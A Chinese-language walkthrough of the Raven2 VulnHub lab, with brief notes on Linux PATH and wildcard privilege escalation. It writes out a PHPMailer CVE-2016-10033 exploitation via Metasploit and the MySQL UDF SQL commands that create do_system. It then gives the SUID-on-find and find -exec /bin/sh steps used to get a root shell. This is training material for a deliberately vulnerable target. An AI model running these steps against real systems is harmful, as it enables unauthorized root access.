在Linux中使用环境变量进行提权

这里需要注意的是:

  1. 文章中讲到的shell可执行文件是本身受害端就有的并且具有SUID权限

  2. PATH=/tmp:$PATHPATH=$PATH:/tmp有点不同

    image-20220305161317582

    image-20220305161244673

    这会导致在去寻找环境变量的先后顺序不一样,优先查找前面的路径

    linux环境变量参考:https://blog.csdn.net/rain_yunlx/article/details/78850580

利用通配符进行Linux本地提权

漏洞前提:需要存在不安全的定时任务

参考:Linux提权一文通

vulnhub靶机渗透-Raven2

1.信息收集

用nmap探测目标主机

image-20220306132721319

全端口扫描

image-20220306140928548

访问目标地址,翻看网页源码等找寻信息

image-20220306143448027

在BLOG页面发现有wordpress

image-20220306143756262

注意:这里最初访问存在显示不完整,可能是因为网站源码是通过raven.local来访问的,解决办法是将本地hosts文件添加一个域名解析

image-20220306143735048

发现wordpress,直接上wpscan进行扫描(这里使用kali中的wpscan时,可能也需要配置一下hosts域名解析)

vim /etc/hosts

image-20220306151356302

(其实也不用,最开始是因为地址用的https导致访问不了以为不能扫,才去改的,用http://192.168.184/wordpress就行了QAQ)

上面废话一堆,下面直接wpscan走起,wpscan --url http://192.168.184.140/wordpress/ -e vp,vt,tt,u

wpcan介绍及使用

image-20220306152846609

wpscan扫描出的有效信息(两个用户名,其他选项扫描无果)

image-20220306153002758

之后再使用dirb扫描目录,发现/vendor目录存在目录遍历

image-20220306141613990

image-20220306141626355

翻看目录发现/PATH下有flag1

image-20220306142347475

继续翻目录,找到PHPMailer相关文件,版本可能是5.2.16

image-20220306143140872

image-20220306143150064

2.漏洞利用

基于前面的信息收集,开始进一步渗透,寻找可以利用的漏洞

PHPMailer远程代码执行

百度搜索PHPMailer漏洞,发现版本小于5.2.18会存在远程代码执行漏洞(CVE-2016-10033)

image-20220306154731353

直接上msf,进行搜索

image-20220306163239614

选择这个2016年的exp

image-20220306163943533

根据提示访问raven.local/blSkjQ6R.php,成功提示如下(过程可能会比较慢,也可能失败,多run几次exp)

image-20220306163957929

然后sessions 1进入控制台

image-20220306164410610

利用python开启一个交互式shellpython -c 'import pty;pty.spawn("/bin/bash")'

使用find / -name flag*找flag文件,找到flag2和flag3

image-20220306165016106

image-20220306165136216

image-20220306165150789

利用MysqlUDF提权

有了www-data权限后,看能不能将权限提升至root

看看内核,百度后没看到能利用的漏洞

image-20220306171852277

再看看这台服务器还有哪些用户

image-20220306171208934

没想到之前在wordpress收集的两个用户名也是系统用户

再想到刚刚信息收集时有wordpress,于是去看看配置文件

image-20220306165725704

image-20220306165833347

得到mysql的root账户密码

image-20220306165914717

看看数据库里有没有有用的信息

image-20220306170409758

查看wp_users表里的信息

image-20220306170448385

尝试用在cmd5网站解密,发现要钱,觉得一个靶机没必要花钱,而且这两个用户也不一定有很高的权限,那就再从其他地方找突破

image-20220306170741730

于是尝试看看能不能使用UDF提权

使用ps -aux|grep mysql查看mysql的运行权限,来判断能否使用mysql提权

image-20220306172759814

可以看到是以root身份运行,可以利用UDF提权

还有一种做法也会想到用UDF提权,python搭建以一个简易的服务器来把Linux枚举漏洞工具LinEnum下载到靶机里面,命令:python -m SimpleHTTPServer 5555,在靶机用wget下载即可,运行结果中会出现如下的显示,及表示可以利用UDF提权

image-20220306174533030

好,接下来正式开始UDF提权

利用Google搜索exp

image-20220306174907764

找到https://www.exploit-db.com/exploits/1518(链接里有usage)

usage如下:

image-20220306175744587

image-20220306175835660

1
2
3
4
5
6
7
8
mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/tmp/udf.so'));
mysql> select * from foo into dumpfile '%plugin%/udf.so';
mysql> create function do_system returns integer soname 'udf.so';
mysql> select * from mysql.func;

# 这里的%plugin%是mysql插件所在路径

image-20220306180727554

image-20220306180946828

下面结合SUID进行提权,给find附上suid权限

select do_system('chmod u+s /usr/bin/find');

image-20220306181230586

接下来利用find便可以执行root权限的命令

image-20220306182228849

可以利用find返回一个root权限的shellfind / -exec '/bin/sh' \;

image-20220306182434311

最后我们访问/root目录找到最后一个flag,flag4.txt

image-20220306182541638

到此圆满渗透结束,★,°:.☆( ̄▽ ̄)/$:.°★

参考

https://blog.csdn.net/qq_34801745/article/details/103753259

https://blog.csdn.net/nzjdsds/article/details/93971746

Linux提权简单总结

  1. 提权环境,信息收集(SUID,定时任务,可能漏洞,第三方服务应用等)
  2. 最新相关漏洞要明确(随时关注),二次开发相关漏洞探针脚本
  3. 本地searchspoit脚本及远程exploitdb站点搜索说明(简要使用)
  4. 其他提权方法:密码复用,guid,sudo等(需要运气,比较鸡肋)SUDO参考